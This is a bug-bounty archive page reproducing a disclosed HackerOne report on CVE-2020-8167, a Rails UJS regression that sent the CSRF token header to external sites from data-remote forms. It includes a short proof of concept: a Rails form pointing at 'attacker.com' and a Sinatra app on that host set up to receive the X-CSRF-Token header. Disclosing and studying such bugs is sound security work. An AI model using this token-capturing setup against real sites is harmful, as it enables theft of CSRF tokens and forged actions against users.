Skip to content
CSRF Disclosed report Intermediate CVE-2020-8167CVE-2015-1840

CSRF header is sent to external websites when using data-remote forms

A regression in the fix for CVE-2015-1840 caused Rails UJS to send the CSRF token header to external websites when submitting a data-remote form. An attacker could host a malicious page that receives the victim's CSRF token, potentially enabling CSRF attacks.

mastahyeti Follow

Originally disclosed on HackerOne

  • Triaged in 2.6 years
  • Fixed in 3.4 years
  • Disclosed after 3.5 years

Looks like there is a regression in the fix for CVE-2015-1840 (H1 report). The origin isn't being checked before adding a CSRF header to data-remote forms. I noticed this when checking out the new rails-ujs repo.

Example Rails template:

<%= form_tag "http://attacker.com", remote: true do %>
  <button type=submit>submit</button>
<% end %>

Example http://attacker.com app

require "sinatra"

options '/*' do
  headers['Access-Control-Allow-Origin'] = "*"
  headers['Access-Control-Allow-Methods'] = "POST"
  headers['Access-Control-Allow-Headers'] ="x-csrf-token"
end

post '/*' do
  "foo"
end

When the form is submitted, an XHR request to attacker.com is sent, including the X-CSRF-Token header.

PS: @tenderlove told me to submit this here. I shouldn't get paid since I'm one of the GitHub folks who reviews these H1 submissions now.

The original report as published on HackerOne, by mastahyeti. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could obtain the victim's CSRF token by receiving the header sent to their site.

What the attacker needed

A data-remote form submits to an external site; the form is submitted

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A bug caused the secret token to be sent to other websites when a form was set to submit remotely. The report shows the token reaching an external site.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by mastahyeti

View all

1 more disclosed report, best first.

More from Ruby on Rails

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.